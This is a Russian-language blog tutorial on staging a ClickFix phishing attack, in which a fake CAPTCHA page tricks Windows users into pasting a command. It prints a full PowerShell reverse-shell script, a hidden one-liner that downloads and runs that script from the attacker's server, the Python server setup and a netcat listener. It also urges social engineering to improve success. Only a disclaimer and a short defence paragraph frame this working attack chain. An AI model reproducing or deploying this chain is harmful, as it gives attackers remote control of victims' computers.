В данной статье рассмотрим процесс создания и развертывания фишинговой атаки с использованием фейковой страницы с капчей и реверс-шелла PowerShell. Такой метод был использован в фишинговых кампаниях различных хакерских группировок и получил название ClickFix или Emmenthal. Мы подробно пройдем все этапы: от подготовки файлов до реверс-шелла с использованием виртуальных машин на Linux и Windows.
Еще по теме: Деанон пользователя VK с помощью фишинга
Фишинг используя фейк-капчу
После того как пользователь переходит на сайт, который кажется легитимным, его перенаправляют на домены, где всплывают поддельные окна с инструкцией запустить скрипт PowerShell. Как правило команда закодирована в Base64 и предназначена для загрузки и выполнения вредоносного ПО с серверов, контролируемых хакерами.
Фейковая капча предлагает доказать, что вы не робот и выполнить следующие шаги для проверки:
- Нажмите сочетание клавиш Windows + R.
- В окне проверки нажмите сочетание клавиш Ctrl + V.
- Нажмите Enter на клавиатуре для завершения.
- Отметьте галочкой I’m not a robot (Я не робот)
- Для завершения проверки нажмите Verify (Проверить).
Данная информация предназначена для обучения пентестеров (этичных хакеров). Использование этих и подобных техник для атак на частных лиц или организаций без их предварительного письменного согласия является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за любые ваши незаконные действия.
Нашумевший Lumma Stealer распространяется аналогичным образом. Пользователи попадают на страницу с ошибкой, например, проблемой в браузере, и им предоставляются инструкции для «исправления». Эти инструкции заставляют пользователя ввести команды в PowerShell, что приводит к выполнению вредоносного ПО. Так Lumma Stealer успешно обходит традиционные меры безопасности и заражает системы.
Файлы и настройка сервера
Для демонстрации и тестирования метода нам понадобятся две виртуальные машины Kali Linux и Windows (см. Установка и настройка виртуальной машины) и два файла:
- index.html — это интерфейс, имитирующий CAPTCHA.
- reverse-shell.ps1 — скрипт PowerShell для выполнения реверс-шелла.
Мой метод основывается на доработанных файлах этого репозитория.
Пример содержимого файла reverse-shell.ps1:
1 2 3 4 5 6 7 8 9 10 |
$client = New-Object System.Net.Sockets.TcpClient('ip_адресс_виртуальной_машины', 4444) $stream = $client.GetStream() [byte[]]$buffer = 0..65535 | % { 0 } while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) { $data = (New-Object Text.UTF8Encoding).GetString($buffer, 0, $i) $result = (iex $data 2>&1 | Out-String) $send = ([text.encoding]::UTF8).GetBytes($result) $stream.Write($send, 0, $send.Length) } $client.Close() |
В файл index.html нужно добавить команду, которая запустит скрипт PowerShell. Вот пример этой команды:
1 |
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://ip_адресс_виртуальной_машины:8080/reverse-shell.ps1')" |
Для размещения файлов, в качестве примера будем использовать простой HTTP-сервер на Python. Для этого нам понадобиться Python (см. Установка и использование Python в Kali Linux). Он уже установлен в большинстве Linux-дистрибутивов.
Теперь перейдите в каталог, где находятся файлы index.html и reverse-shell.ps1.
1 |
cd /путь/к/файлам/ |
Запустите HTTP-сервер Python. По умолчанию он слушает на порту 8000, но можно выбрать другой порт:
1 |
python3 -m http.server 8080 |
В браузере откройте страницу:
1 |
http://ip_адресс_виртуальной_машины:8080 |
Вы должны увидеть страницу с капчей.
Скрипт PowerShell будет доступен по адресу
1 |
http://ip_адресс_виртуальной_машины:8080/reverse-shell.ps1 |
Фишинговая атака ClickFix
Откройте браузер и перейдите на страницу с капчей:
1 |
http://ip_адресс_виртуальной_машины:8080 |
Убедитесь, что страница с капчей и скрипт PowerShell доступны.
Чтобы получить реверс-шелл, настройте слушатель на виртуальной машине Kali Linux. Для этого можно использовать утилиту Netcat (см. Использование Netcat в пентесте). Установите Netcat если не установлен:
1 |
sudo apt update sudo apt install netcat |
Откройте терминал и запустите Netcat на порте, указанном в вашем reverse-shell.ps1 (например, 4444). Не забудьте изменить на IP-адрес вашей виртуальной машины.
1 |
nc -lvnp 4444 |
Эта команда запускает листенер (слушатель) на 4444 порту и будет отображать входящие подключения.
Чтобы получить обратное подключение, убедитесь, что целевая система выполнила команду PowerShell.
Для лучшего пробива используйте методы социальной инженерии.
После выполнения команды будет скачан с вашего сервера скрипт PowerShell.
Вы должны увидеть подключение в терминале Netcat, с которым сможете взаимодействовать.
Защита
Будьте крайне осторожны при получении подозрительных инструкций или команд для выполнения в PowerShell, особенно если они с незнакомых или сомнительных веб-ресурсов. Используйте файрволл блокирующий все левые подключения. И вообще относитесь к PowerShell, как к троянскому коню, который может вас подставить, в обход антивирусам и средствам защиты.
ПОЛЕЗНЫЕ ССЫЛКИ: